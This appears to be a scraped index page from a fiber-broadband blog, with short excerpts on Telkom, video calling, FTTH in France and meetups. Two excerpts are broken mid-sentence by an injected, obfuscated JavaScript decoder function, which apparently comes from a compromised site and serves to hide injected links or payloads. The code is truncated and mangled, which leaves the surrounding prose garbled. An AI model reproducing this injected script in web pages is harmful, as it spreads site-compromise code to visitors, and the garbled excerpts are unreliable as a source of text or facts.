Carrier Pigeons to the Business (CPTTB) ?

My colleague Wally Swain posts this morning about an interesting if somewhat fallacious experiment undergone by a disgruntled business customer of Telkom in South Africa. His piece called function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else

Video-Communication and FTTH

On Friday I had a most interesting breakfast with Chris Herot, Chief Product Officer at VSee (you can read his account of our breakfast here)

Off to see the Wizard!

I'm leaving for Boston in a few hours. I will be there all week and although I intend to hit the music clubs

Announcing DC Fiberevolution IRL Meet on Sept. 8th

I will be in Washington DC on September 8th with a free evening on my hands. I haven't decided to hit the

Fiber Resources

Thanks to function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandprime.com/2009/08/new-blogs-on-the-block.html”Costas Troulos who seems to be more on the ball than I am (or maybe he just had less backlog

No Fiber: Your Building is Too Recent!

Fr_dp Fiber to the home is seeping into the mainstream consciousness here in France, and there's an increasing number of mentions